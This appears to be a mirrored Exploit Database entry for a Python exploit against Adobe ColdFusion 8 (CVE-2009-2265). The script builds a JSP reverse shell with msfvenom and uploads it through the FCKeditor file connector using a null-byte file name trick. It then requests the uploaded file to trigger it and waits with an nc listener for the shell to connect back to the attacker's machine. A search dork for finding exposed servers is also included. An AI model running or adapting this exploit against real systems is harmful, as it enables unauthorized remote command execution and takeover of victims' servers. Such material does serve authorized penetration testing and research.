Adobe ColdFusion 8 – Remote Command Execution (RCE)

• Exploit Database
• 14 阅读

• 作者： Pergyz
  日期： 2021-06-24
• 类别：

  • webapps
  平台：

  • cfm
• 来源：https://www.exploit-db.com/exploits/50057/

• # Exploit Title: Adobe ColdFusion 8 - Remote Command Execution (RCE)
  # Google Dork: intext:"adobe coldfusion 8"
  # Date: 24/06/2021
  # Exploit Author: Pergyz
  # Vendor Homepage: https://www.adobe.com/sea/products/coldfusion-family.html
  # Version: 8
  # Tested on: Microsoft Windows Server 2008 R2 Standard
  # CVE : CVE-2009-2265
  
  #!/usr/bin/python3
  
  from multiprocessing import Process
  import io
  import mimetypes
  import os
  import urllib.request
  import uuid
  
  class MultiPartForm:
  
  def __init__(self):
  self.files = []
  self.boundary = uuid.uuid4().hex.encode('utf-8')
  return
  
  def get_content_type(self):
  return 'multipart/form-data; boundary={}'.format(self.boundary.decode('utf-8'))
  
  def add_file(self, fieldname, filename, fileHandle, mimetype=None):
  body = fileHandle.read()
  
  if mimetype is None:
  mimetype = (mimetypes.guess_type(filename)[0] or 'application/octet-stream')
  
  self.files.append((fieldname, filename, mimetype, body))
  return
  
  @staticmethod
  def _attached_file(name, filename):
  return (f'Content-Disposition: form-data; name="{name}"; filename="{filename}"\r\n').encode('utf-8')
  
  @staticmethod
  def _content_type(ct):
  return 'Content-Type: {}\r\n'.format(ct).encode('utf-8')
  
  def __bytes__(self):
  buffer = io.BytesIO()
  boundary = b'--' + self.boundary + b'\r\n'
  
  for f_name, filename, f_content_type, body in self.files:
  buffer.write(boundary)
  buffer.write(self._attached_file(f_name, filename))
  buffer.write(self._content_type(f_content_type))
  buffer.write(b'\r\n')
  buffer.write(body)
  buffer.write(b'\r\n')
  
  buffer.write(b'--' + self.boundary + b'--\r\n')
  return buffer.getvalue()
  
  def execute_payload():
  print('\nExecuting the payload...')
  print(urllib.request.urlopen(f'http://{rhost}:{rport}/userfiles/file/{filename}.jsp').read().decode('utf-8'))
  
  def listen_connection():
  print('\nListening for connection...')
  os.system(f'nc -nlvp {lport}')
  
  if __name__ == '__main__':
  # Define some information
  lhost = '10.10.16.4'
  lport = 4444
  rhost = "10.10.10.11"
  rport = 8500
  filename = uuid.uuid4().hex
  
  # Generate a payload that connects back and spawns a command shell
  print("\nGenerating a payload...")
  os.system(f'msfvenom -p java/jsp_shell_reverse_tcp LHOST={lhost} LPORT={lport} -o {filename}.jsp')
  
  # Encode the form data
  form = MultiPartForm()
  form.add_file('newfile', filename + '.txt', fileHandle=open(filename + '.jsp', 'rb'))
  data = bytes(form)
  
  # Create a request
  request = urllib.request.Request(f'http://{rhost}:{rport}/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm?Command=FileUpload&Type=File&CurrentFolder=/{filename}.jsp%00', data=data)
  request.add_header('Content-type', form.get_content_type())
  request.add_header('Content-length', len(data))
  
  # Print the request
  print('\nPriting request...')
  
  for name, value in request.header_items():
  print(f'{name}: {value}')
  
  print('\n' + request.data.decode('utf-8'))
  
  # Send the request and print the response
  print('\nSending request and printing response...')
  print(urllib.request.urlopen(request).read().decode('utf-8'))
  
  # Print some information
  print('\nPrinting some information for debugging...')
  print(f'lhost: {lhost}')
  print(f'lport: {lport}')
  print(f'rhost: {rhost}')
  print(f'rport: {rport}')
  print(f'payload: {filename}.jsp')
  
  # Delete the payload
  print("\nDeleting the payload...")
  os.system(f'rm {filename}.jsp')
  
  # Listen for connections and execute the payload
  p1 = Process(target=listen_connection)
  p1.start()
  p2 = Process(target=execute_payload)
  p2.start()
  p1.join()
  p2.join()